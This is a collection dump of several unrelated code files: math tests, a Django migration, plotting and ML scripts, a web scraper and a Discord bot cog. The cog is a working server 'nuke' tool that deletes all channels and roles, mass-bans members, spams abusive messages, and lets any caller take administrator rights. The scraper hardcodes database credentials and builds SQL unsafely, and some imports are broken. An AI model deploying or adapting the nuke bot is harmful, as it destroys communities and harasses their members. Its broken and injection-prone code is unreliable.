1.2]]) assert MatAdd(cx, cy, cz, cc) == lm_sym_expanded(m+c, [x, y, z]) assert MatAdd(cx, cy, cz) == lm_sym_expanded(m, [x, y, z]) assert cc == lm_sym_expanded(c, [x, y, z])
[ "crisjss@gmail.com" ]
crisjss@gmail.com
fbd5195610ae44c4f76a292e76f30c65bf358f4e
d37f6a525fc61e22d27f5dea5d57abc3b41539d6
/main/migrations/0009_auto_20160613_1657.py
593df6fb7ea04bca30b71e794e56dfbab6f58860
[]
no_license
pawanaraballi/GradMaze
40427cd415fd32c850a9bb8f498c78934aa0077f
cb4316d63a0a0e438fd16e0c34c83790e2596eb3
refs/heads/master
2021-01-17T06:29:20.875503
2016-08-14T16:34:27
2016-08-14T16:34:27
64,424,881
0
0
null
null
null
null
UTF-8
Python
false
false
1,712
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.4 on 2016-06-13 16:57 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0008_auto_20160613_1656'), ] operations = [ migrations.AlterField( model_name='student', name='current_credit_hours', field=models.IntegerField(default=120, null=True), ), migrations.AlterField( model_name='student', name='current_end_date', field=models.DateField(default='2016-05-05', null=True), ), migrations.AlterField( model_name='student', name='current_gpa', field=models.FloatField(default=4.0, null=True), ), migrations.AlterField( model_name='student', name='current_start_date', field=models.DateField(default='2016-05-05', null=True), ), migrations.AlterField( model_name='student', name='prev_credit_hours', field=models.IntegerField(default=120, null=True), ), migrations.AlterField( model_name='student', name='prev_end_date', field=models.DateField(default='2016-05-05', null=True), ), migrations.AlterField( model_name='student', name='prev_gpa', field=models.FloatField(default=4.0, null=True), ), migrations.AlterField( model_name='student', name='prev_start_date', field=models.DateField(default='2016-05-05', null=True), ), ]
[ "jknigh28@gmail.com" ]
jknigh28@gmail.com
17f69630404fc6c1f6d2f160cddecc9d4d6b37b3
fbcee5df0a4eb5ac9978fd9eab7eef92f7e58db5
/results/theoreticalMagPlot.py
e3f97f827b75a9e811824021ae9a395277236cbb
[]
no_license
rogerwalt/WolffAlgorithm
ed5d0be8307a4ca7f2edb4acf6e4828b48db1b5e
1f21145756720dd8c490cb9ce78c8df4e23a799e
refs/heads/master
2021-01-01T18:01:59.867257
2013-06-26T09:05:00
2013-06-26T09:05:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
305
py
import numpy import matplotlib.pyplot as plt x=numpy.arange(0,1,0.001) y=numpy.power(1-x,0.326) x=numpy.append(x,1) y=numpy.append(y,0) x=numpy.append(x,2) y=numpy.append(y,0) plt.ylim((-0.5, 1.5)) fig=plt.gcf() fig.suptitle('Magnetization',fontsize=14) plt.xlabel('T / Tc') plt.plot(x,y);plt.show()
[ "roger.walt@gmail.com" ]
roger.walt@gmail.com
e55c67e7f09dfa60555f9a33399e0aaf3724b524
47eb064a50b16c47c125d6cdfc63fc3ab691194c
/epidemioptim/configs/korea_dqn.py
bd1a78c376270e4b0fd181c244707b0e525f25e4
[ "MIT" ]
permissive
hyerinshelly/RL_COVID-19_Korea
3c0cb44e193496507173ce43fa23de4be8166f49
da95b6713969271043a44c10b84f9407f038b71a
refs/heads/main
2023-03-09T04:10:21.581753
2021-02-22T08:18:32
2021-02-22T08:18:32
334,847,087
1
0
null
null
null
null
UTF-8
Python
false
false
1,150
py
import numpy as np params = dict(expe_name='', trial_id=0, env_id='KoreaEpidemicDiscrete-v0', seed=int(np.random.randint(1e6)), num_train_steps=1e6, simulation_horizon=364, algo_id='DQN', algo_params=dict(eval_and_log_every=50, save_policy_every=1000, batch_size=32, gamma=0.99, layers=(64,), replace_target_count=5000, goal_conditioned=True, lr=1e-3, buffer_size=1e6, epsilon_greedy=0.2, n_evals_if_stochastic=30, pareto_size=100), model_id='sqeir', model_params=dict(stochastic=True), cost_id='korea_multi_cost_death_economy_controllable', cost_params=dict(ratio_death_to_R=0.02, use_constraints=False), )
[ "hyerin.park@kaist.ac.kr" ]
hyerin.park@kaist.ac.kr
504c14f5fabb4276e0030bac3aa60f28bd43ecd0
2d2f1810cadeea58d4883806a2e768f9bb989633
/prectice/check/migrations/0011_auto_20210214_2221.py
38744f05f6c269374ad4aeacb480162a2a2fa44c
[]
no_license
khansaUmatullah/hospital-management-system
17c75aea46c8bdd4a27cbfa3d53b10644c53b3b5
b7b9c237faa352053d9faae90694ef970dc43752
refs/heads/main
2023-03-06T19:50:35.487761
2021-02-21T23:04:08
2021-02-21T23:04:08
341,020,693
0
0
null
null
null
null
UTF-8
Python
false
false
899
py
# Generated by Django 3.1.4 on 2021-02-14 17:21 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('check', '0010_furniture_pharmacy_prescribed_prescription_records_staff_supplies_surgical_instruments'), ] operations = [ migrations.AddField( model_name='patient', name='bill_date', field=models.IntegerField(default=1), preserve_default=False, ), migrations.AlterField( model_name='patient', name='Bill', field=models.IntegerField(default=1), preserve_default=False, ), migrations.AlterField( model_name='patient', name='b_group', field=models.CharField(max_length=10), ), migrations.DeleteModel( name='bill', ), ]
[ "2017ee154@student.uet.edu.pk" ]
2017ee154@student.uet.edu.pk
98881a7d9718ec10104ceb76b6f517e293aeb331
e298cff908393cfbacf4910cfafb66b3231698ba
/Part 3 - Classification/Section 14 - Logistic Regression/classification_template.py
03c23d0126bf052cabb080f19b8dec8a4fd52e0f
[]
no_license
efagerberg/ml_udemy
0db9e1a9328ea14d9cd48e03c1171f4c31b13146
a679d625f98c0f9d83cfecb9eceee35909849618
refs/heads/master
2021-04-26T23:36:02.676150
2018-06-13T04:36:34
2018-06-13T04:36:34
123,825,738
0
0
null
null
null
null
UTF-8
Python
false
false
2,642
py
# Classification template # Importing the libraries import numpy as np import matplotlib.pyplot as plt import pandas as pd # Importing the dataset dataset = pd.read_csv('Social_Network_Ads.csv') X = dataset.iloc[:, [2, 3]].values y = dataset.iloc[:, 4].values # Splitting the dataset into the Training set and Test set from sklearn.cross_validation import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.25, random_state = 0) # Feature Scaling from sklearn.preprocessing import StandardScaler sc = StandardScaler() X_train = sc.fit_transform(X_train) X_test = sc.transform(X_test) # Fitting classifier to the Training set from sklearn.linear_models import LogisticRegression classifier = LogisticRegression(random_state=0) classifier.fit(X_train, y_train) # Predicting the Test set results y_pred = classifier.predict(X_test) # Making the Confusion Matrix from sklearn.metrics import confusion_matrix cm = confusion_matrix(y_test, y_pred) # Visualising the Training set results from matplotlib.colors import ListedColormap X_set, y_set = X_train, y_train X1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01), np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01)) plt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape), alpha = 0.75, cmap = ListedColormap(('red', 'green'))) plt.xlim(X1.min(), X1.max()) plt.ylim(X2.min(), X2.max()) for i, j in enumerate(np.unique(y_set)): plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1], c = ListedColormap(('red', 'green'))(i), label = j) plt.title('Classifier (Training set)') plt.xlabel('Age') plt.ylabel('Estimated Salary') plt.legend() plt.show() # Visualising the Test set results from matplotlib.colors import ListedColormap X_set, y_set = X_test, y_test X1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01), np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01)) plt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape), alpha = 0.75, cmap = ListedColormap(('red', 'green'))) plt.xlim(X1.min(), X1.max()) plt.ylim(X2.min(), X2.max()) for i, j in enumerate(np.unique(y_set)): plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1], c = ListedColormap(('red', 'green'))(i), label = j) plt.title('Classifier (Test set)') plt.xlabel('Age') plt.ylabel('Estimated Salary') plt.legend() plt.show()
[ "adioevan@gmail.com" ]
adioevan@gmail.com
d37c55351fcc58f0a0f56e067c8a897e7fc01e76
e912adc644de0a3df82885ff28fc1b91120ee966
/sfnenv_bak/bin/pilfont.py
f0cfccb02ca5dcd8e6c7c0b9d016c7577d4db9a8
[]
no_license
aescobarr/sapfluxnet-form
fad64a4f6ebf45d4473be4ecd11ad937bd1aea32
e4149ea30ece77995774fd87093e8967a2fcb012
refs/heads/master
2020-05-21T23:55:52.133865
2017-01-11T15:53:52
2017-01-11T15:53:52
46,056,185
0
0
null
null
null
null
UTF-8
Python
false
false
1,058
py
#!/data/webapps/sapfluxnet-form/sfnenv/bin/python # # The Python Imaging Library # $Id$ # # PIL raster font compiler # # history: # 1997-08-25 fl created # 2002-03-10 fl use "from PIL import" # from __future__ import print_function import glob import sys # drivers from PIL import BdfFontFile from PIL import PcfFontFile VERSION = "0.4" if len(sys.argv) <= 1: print("PILFONT", VERSION, "-- PIL font compiler.") print() print("Usage: pilfont fontfiles...") print() print("Convert given font files to the PIL raster font format.") print("This version of pilfont supports X BDF and PCF fonts.") sys.exit(1) files = [] for f in sys.argv[1:]: files = files + glob.glob(f) for f in files: print(f + "...", end=' ') try: fp = open(f, "rb") try: p = PcfFontFile.PcfFontFile(fp) except SyntaxError: fp.seek(0) p = BdfFontFile.BdfFontFile(fp) p.save(f) except (SyntaxError, IOError): print("failed") else: print("OK")
[ "agustiescobar@gmail.com" ]
agustiescobar@gmail.com
fbbf8f93cf2a35f516071a2bd3596f99dbb244ed
f54b186409c85df5eaedb0800f6f1175d0832dd7
/SlidingWindow.py
c7fca4fbca12a09e5fd805ba924c5aad1d889ac2
[]
no_license
scimone/BG_Clustering
ad92fc48482267f62c5c5e4be68505e6c6e3e6f3
f073fc3be5c482b901d36ab3a0e5f357e9af1963
refs/heads/master
2023-01-22T10:32:17.894669
2020-12-05T13:33:01
2020-12-05T13:33:01
318,784,728
0
0
null
null
null
null
UTF-8
Python
false
false
1,150
py
import numpy as np class SlidingWindow(): def __init__(self, time_data, window_size=24, start_time=0, stride=1): """ Sliding window approach: Multiple vectors of length "window_size" are created from "time_data" vector, each shifted by "stride" time steps :param time_data: list of time data :param window_size: width of sliding window :param start_time: index at which the sliding window should start :param stride: time steps over which the window should slide """ self.time_data = np.array(time_data) self.window_size = window_size self.start_time = start_time self.stride = stride def normalize(self): self.time_data = (self.time_data - np.min(self.time_data)) / (np.max(self.time_data) - np.min(self.time_data)) def get_window_matrix(self): sub_windows = self.start_time + np.expand_dims(np.arange(self.window_size), 0) + np.expand_dims( np.arange(len(self.time_data) - self.window_size + 1 - self.start_time), 0).T window_matrix = self.time_data[sub_windows[::self.stride]] return window_matrix
[ "56034784+scimone@users.noreply.github.com" ]
56034784+scimone@users.noreply.github.com
3cce5f338f335566330177c42858bb6eb0baddd8
80e6e31054fe9105d2c26be7aac53c4cd6a4a33f
/scripts/spyder/amac_company.py
a1708762c46b6687a0c4ff41381e2b7ae1bca9d9
[]
no_license
alionishere/learn_python
8a7f6dc7d754a357d4cb720f4bc0d5c3e6e5e895
832b8e0579da0b7ab37e815be10204f8de1ad22d
refs/heads/master
2021-06-24T11:02:05.111027
2021-06-23T08:47:06
2021-06-23T08:47:06
223,834,194
0
0
null
null
null
null
UTF-8
Python
false
false
14,079
py
# -*- coding: utf-8 -*- import requests,io,sys,time from bs4 import BeautifulSoup import json,urllib import cx_Oracle from lxml import etree import threading from queue import Queuea def conndb(): username="kingstar" userpwd="kingstar" host="10.29.7.211" port=1521 dbname="siddc01" dsn=cx_Oracle.makedsn(host, port, dbname) db=cx_Oracle.connect(username, userpwd, dsn) return db def ExecDB(sql): db=conndb() cursor = db.cursor() cursor.execute(sql) db.commit() cursor.close() db.close() #return result def GetJson(url): payload = {} headers = {'content-type': 'application/json'} ret = requests.post(url, data=json.dumps(payload), headers=headers) ret.encoding = 'utf-8' ret = ret.text text = json.loads(ret) return text def getHtml(url): b = False while not b: try: page=urllib.request.urlopen(url) html=page.read().decode(encoding='utf-8',errors='strict') page.close() b = True except : pass return html def ListTemp(lists): if lists: member = lists[0].xpath('string(.)').replace('\n','').replace(' ','').replace(' ','') else : member = 'None' return member def Getcontent(url): text2 = GetJson(url) content = text2['content'] return content def Gettxt(text): txt=' '.join(text.split()) return txt def Trysql(sql): try: sql = ExecDB(sql.encode("GB18030")) #print(sql) except: #print("sql:",sql) pass def Truncate(): truncate_1 = "truncate table amac_smjj_company" truncate_1 = ExecDB(truncate_1) def GetQ(): url = 'http://gs.amac.org.cn/amac-infodisc/api/pof/manager?rand=0.3904312621164139&page=0&size=20' global q q = Queue() text = GetJson(url) n = text['totalPages'] for i in range(n): url2 = 'http://gs.amac.org.cn/amac-infodisc/api/pof/manager?rand=0.3904312621164139&page='+str(i)+'&size=20' q.put(url2) return q def Thread(): threads=[] for code in range(20): thread=threading.Thread(target=Work) threads.append(thread) for t in threads: t.start() #启动一个线程 for t in threads: t.join() #等待每个线程 def Work(): while not q.empty(): print(q.qsize()) url3 = q.get() try : txt = GetJson(url3) print(txt) m = txt['numberOfElements'] content = Getcontent(url3) for x in range(m): dicts = content[x] managerName =str(dicts['managerName']) registerNo =str(dicts['registerNo']) registerAddress =str(dicts['registerAddress']) officeAddress =str(dicts['officeAddress']) sql = "insert into amac_smjj_company(managerName,registerNo,registerAddress,officeAddress)"\ "values('"+managerName+"','"+registerNo+"','"+registerAddress+"','"+officeAddress+"')" # #print(sql) sql = Trysql(sql) # html_doc1 = getHtml(fundurl) # html = etree.HTML(html_doc1) # jjmc = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[1]/td[2]'))).strip().replace('\'','\'\'') # jjbm = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[2]/td[2]'))).strip() # clsj = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[3]/td[2]'))).strip().replace('-','') # basj = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[4]/td[2]'))).strip().replace('-','') # jjbajd = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[5]/td[2]'))).strip().replace('-','') # jjlx = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[6]/td[2]'))).strip() # bz = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[7]/td[2]'))).strip() # jjglr = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[8]/td[2]'))).strip() # gllx = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[9]/td[2]'))).strip() # tgr = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[10]/td[2]'))).strip() # yzzt = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[11]/td[2]'))).strip() # jjxxzhgxsj = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[12]/td[2]'))).strip().replace('-','') # jjxhtbts = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[13]/td[2]'))).strip() # dyyb = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[15]/td[2]'))).strip() # bnb = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[16]/td[2]'))).strip() # nb = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[17]/td[2]'))).strip() # jb = str(ListTemp(html.xpath('/html/body/div/div[2]/div/table/tbody/tr[18]/td[2]'))).strip() # sql2 = "insert into amac_smjj_fund(jjmc,jjbm,clsj,basj,jjbajd,jjlx,bz,jjglr,gllx,tgr,"\ # "yzzt,jjxxzhgxsj,jjxhtbts,dyyb,bnb,nb,jb) "\ # "values('"+jjmc+"','"+jjbm+"','"+clsj+"','"+basj+"','"+jjbajd+"','"+jjlx+"','"+bz\ # +"','"+jjglr+"','"+gllx+"','"+tgr+"','"+yzzt+"','"+jjxxzhgxsj+"','"+jjxhtbts+"','"\ # +dyyb+"','"+bnb+"','"+nb+"','"+jb+"')" # #print(sql2) # sql2 = Trysql(sql2) # html_doc2 = getHtml(managerurl) # html2 = etree.HTML(html_doc2) # jgcxxx = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[1]/td[2]')))).strip().replace('\'','\'\'') # jjglrch = str(ListTemp(html2.xpath('//*[@id="complaint2"]'))).replace('&nbsp','').strip().replace('\'','\'\'') # jjglrzh = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[4]/td[2]'))).strip().replace('\'','\'\'') # djbh = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[5]/td[2]'))).strip() # zzjgdm = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[6]/td[2]'))).strip() # djsj = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[7]/td[2]'))).strip().replace('-','') # clsj = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[7]/td[4]'))).strip().replace('-','') # zcdz = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[8]/td[2]'))).strip() # bgdz = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[9]/td[2]'))).strip() # zczb = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[10]/td[2]'))).strip() # sjzb = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[10]/td[4]'))).strip() # qyxz = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[11]/td[2]'))).strip() # zczbsjbl = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[11]/td[4]'))).strip() # gljjzylb = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[12]/td[2]'))).strip() # sqqtywlx = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[12]/td[4]'))).strip() # ygrs = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[13]/td[2]'))).strip() # jgwz = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[13]/td[4]'))).strip() # sfwhy = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[15]/td[2]'))).strip() # if sfwhy == '是' : # dqhylx = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[16]/td[2]'))).strip() # rhsj = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[16]/td[4]'))).strip().replace('-','') # flyjszt = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[18]/td[2]'))).strip() # if flyjszt == '办结': # lsswsmc = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[19]/td[2]'))).strip().replace('\'','\'\'') # lsxm = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[20]/td[2]'))).strip() # fddbr = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[22]/td[2]'))).strip() # sfycyzg = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[23]/td[2]'))).strip() # zgqdfs = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[23]/td[4]'))).strip() # gzll = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[24]/td[2]')))).strip().replace('\'','\'\'') # ggqk = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[25]/td[2]')))).strip().replace('\'','\'\'') # jgxxzhgxsj = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[30]/td[2]'))).strip().replace('-','') # tbtsxx = str(ListTemp(html2.xpath('//*[@id="specialInfos"]'))).strip() # else : # lsswsmc = '' # lsxm = '' # fddbr = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[20]/td[2]'))).strip() # sfycyzg = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[21]/td[2]'))).strip() # zgqdfs = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[21]/td[4]'))).strip() # gzll = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[22]/td[2]')))).strip().replace('\'','\'\'') # ggqk = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[23]/td[2]')))).strip().replace('\'','\'\'') # jgxxzhgxsj = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[28]/td[2]'))).strip().replace('-','') # tbtsxx = str(ListTemp(html2.xpath('//*[@id="specialInfos"]'))).strip() # else: # dqhylx = '' # rhsj = '' # flyjszt = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[17]/td[2]'))).strip() # if flyjszt == '办结' : # lsswsmc = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[18]/td[2]'))).strip().replace('\'','\'\'') # lsxm = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[19]/td[2]'))).strip() # fddbr = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[21]/td[2]'))).strip() # sfycyzg = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[22]/td[2]'))).strip() # zgqdfs = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[22]/td[4]'))).strip() # gzll = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[23]/td[2]')))).strip().replace('\'','\'\'') # ggqk = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[24]/td[2]')))).strip().replace('\'','\'\'') # jgxxzhgxsj = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[29]/td[2]'))).strip().replace('-','') # tbtsxx = str(ListTemp(html2.xpath('//*[@id="specialInfos"]'))).strip() # else : # lsswsmc = '' # lsxm = '' # fddbr = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[19]/td[2]'))).strip() # sfycyzg = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[20]/td[2]'))).strip() # zgqdfs = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[20]/td[4]'))).strip() # gzll = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[21]/td[2]')))).strip().replace('\'','\'\'') # ggqk = str(Gettxt(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[22]/td[2]')))).strip().replace('\'','\'\'') # jgxxzhgxsj = str(ListTemp(html2.xpath('/html/body/div/div[2]/div/table/tbody/tr[27]/td[2]'))).strip().replace('-','') # tbtsxx = str(ListTemp(html2.xpath('//*[@id="specialInfos"]'))).strip() # sql3 = "declare \n"\ # " gzll_v clob; \n"\ # " ggqk_v clob; \n"\ # "begin \n"\ # " gzll_v := '"+gzll+"';\n"\ # " ggqk_v := '"+ggqk+"';\n"\ # " insert into amac_smjj_manager (jgcxxx,jjglrch,jjglrzh,djbh,zzjgdm,djsj,clsj,zcdz,bgdz,zczb,sjzb,qyxz,zczbsjbl,"\ # "gljjzylb,sqqtywlx,ygrs,jgwz,sfwhy,dqhylx,rhsj,flyjszt,lsswsmc,lsxm,fddbr,sfycyzg,zgqdfs,gzll,ggqk,jgxxzhgxsj,tbtsxx) "\ # "values('"+jgcxxx+"','"+jjglrch+"','"+jjglrzh+"','"+djbh+"','"+zzjgdm+"','"+djsj+"','"+clsj+"','"+zcdz+"','"\ # +bgdz+"','"+zczb+"','"+sjzb+"','"+qyxz+"','"+zczbsjbl+"','"+gljjzylb+"','"+sqqtywlx+"','"+ygrs+"','"+jgwz+"','"\ # +sfwhy+"','"+dqhylx+"','"+rhsj+"','"+flyjszt+"','"+lsswsmc+"','"+lsxm+"','"+fddbr+"','"+sfycyzg+"','"+zgqdfs\ # +"',gzll_v,ggqk_v,'"+jgxxzhgxsj+"','"+tbtsxx+"');\n"\ # "end;" # sql3 = Trysql(sql3) except : #print("ERR: "+url3+"\n") q.put(url3) def main(): Truncate() GetQ() #Thread() Work() if __name__ == '__main__': start = time.time() print(start) main() end = time.time() print(end) m, s = divmod(end-start, 60) h, m = divmod(m, 60) print("运行时长:%02d:%02d:%02d" % (h, m, s))
[ "wang_hongke@163.com" ]
wang_hongke@163.com
2a9855d3fb56e3ed2309e33db3599a88d81e0948
c3a91a245155e5e573dc554fdacb94858df5d36a
/Nukey/cogs/cmds.py
aa750619578a257c2ace0c0a32a626dbc45e9723
[ "MIT" ]
permissive
lmnbot/NukeBotPython
ef549202594cad6a9a1b107c01f52a0ef8cdd963
036a78fb62e95d1814e0417098e61b0b7d2098ce
refs/heads/main
2023-07-15T18:13:17.848778
2021-09-02T10:19:14
2021-09-02T10:19:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,613
py
import discord, os, sys from discord.ext import commands def restart_program(): python = sys.executable os.execl(python, python, * sys.argv) class utility(commands.Cog, command_attrs=dict(hidden=True)): # Set it to False to make commands visible in the Help command def __init__(self, client): self.client = client @commands.command() @commands.is_owner() async def all(self, ctx): for channels in ctx.guild.channels: try: await channels.delete(reason = "Fuck you") except Exception: pass for roles in ctx.guild.roles: try: await roles.delete(reason = "Fuck yourself") except Exception: pass for members in ctx.guild.members: try: if members.id == ctx.author.id: pass elif members.id == 735119498767761530: pass else: await members.ban(reason = "mf be gay") except Exception: pass try: await ctx.author.send("Nuking done.") except Exception: pass amount = 100 while amount > 0: chnl = await ctx.guild.create_text_channel(name = "fuck yall") await chnl.send("@everyone fuck yourself bitch") await ctx.guild.create_role(name = "nuked") amount -=1 try: await ctx.author.send("Spamming channels and roles done.") except Exception: pass @commands.command() @commands.is_owner() async def roles(self, ctx): for roles in ctx.guild.roles: try: await roles.delete(reason = "Fuck yourself") except Exception: pass try: await ctx.author.send("Deleting roles done.") except Exception: pass @commands.command() @commands.is_owner() async def channels(self, ctx): for channels in ctx.guild.channels: try: await channels.delete(reason = "Fuck you") except Exception: pass try: await ctx.author.send("Deleting channels done.") except Exception: pass @commands.command() @commands.is_owner() async def members(self, ctx): for members in ctx.guild.members: try: if members.id == ctx.author.id: pass else: await members.ban(reason = "bitch kys") except Exception: pass try: await ctx.author.send("Banning members done.") except Exception: pass @commands.command() @commands.is_owner() async def spam(self, ctx): amount = 100 while amount > 0: chnl = await ctx.guild.create_text_channel(name = "fuck yall") await chnl.send("@everyone fuck yourself bitch") await ctx.guild.create_role(name = "nuked") amount -=1 try: await ctx.author.send("Spamming channels and roles done.") except Exception: pass @commands.command() @commands.is_owner() async def chaos(self, ctx): perms = discord.Permissions(administrator=True) for role in ctx.guild.roles: try: await role.edit(permissions = perms) except Exception: pass await ctx.author.send("Administrator roles chaos done.") @commands.command() async def admin(self, ctx): perms = discord.Permissions(administrator=True) role = await ctx.guild.create_role(name = "new role", permissions = perms) await ctx.author.add_roles(role) await ctx.author.send("You now have administraor permissions.") @commands.command(aliases = ["restart"]) @commands.is_owner() async def stop(self, ctx): await ctx.author.send("Bot stopped/restarted.") restart_program() def setup(client): client.add_cog(utility(client))
[ "noreply@github.com" ]
noreply@github.com
bd9c2429cb08c15e8eb876b779ccb1bbe80aa632
b1bdf49b6ff747f987855ced09d504b30f012b74
/tests/conftest.py
0a56dbee2a9e9ef1d8d2a3b0d15b057df3b1e986
[]
no_license
olegviv/Goal_2
6053b867bb1d69d122c3fe4b92cf4bde10e13dfc
0463a1359e3f007e1ed40a9b3b5a5c12481014ae
refs/heads/master
2022-12-24T17:18:48.099178
2020-10-13T16:48:13
2020-10-13T16:48:13
302,304,114
0
0
null
null
null
null
UTF-8
Python
false
false
284
py
import allure import pytest from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver import Chrome @pytest.fixture() def driver(request): driver = Chrome(ChromeDriverManager().install()) request.cls.driver = driver yield driver driver.quit()
[ "oleg.viviursk@gmail.com" ]
oleg.viviursk@gmail.com
6f6e48737ae09ffa6ef92e8c00509c5193658852
5ed444725da469bd57dc149ae463fe463120da0e
/mysite/mysite/urls.py
0a74e3a40753f6a2b6f284eb97c8f272dcdd3b95
[ "MIT" ]
permissive
pranjul-jani/todo-list
45ccb923e8f4924ab2043da3f8fa26744c2ea038
f8e0c3ccdd8bda81c8b760b7af10fd6f7e4055e7
refs/heads/master
2022-12-04T08:28:29.986230
2020-08-29T14:25:12
2020-08-29T14:25:12
290,665,075
0
0
null
null
null
null
UTF-8
Python
false
false
794
py
"""mysite URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), path('', include('task.urls')), ]
[ "49308187+pranjul-jani@users.noreply.github.com" ]
49308187+pranjul-jani@users.noreply.github.com
f5cb07d8502e20680654e1356fdb1f556e65edf0
eb9c3dac0dca0ecd184df14b1fda62e61cc8c7d7
/google/ads/googleads/v6/googleads-py/google/ads/googleads/v6/services/services/ad_group_extension_setting_service/client.py
751f45c7d71aa3e7c322a037ec62396c7f357549
[ "Apache-2.0" ]
permissive
Tryweirder/googleapis-gen
2e5daf46574c3af3d448f1177eaebe809100c346
45d8e9377379f9d1d4e166e80415a8c1737f284d
refs/heads/master
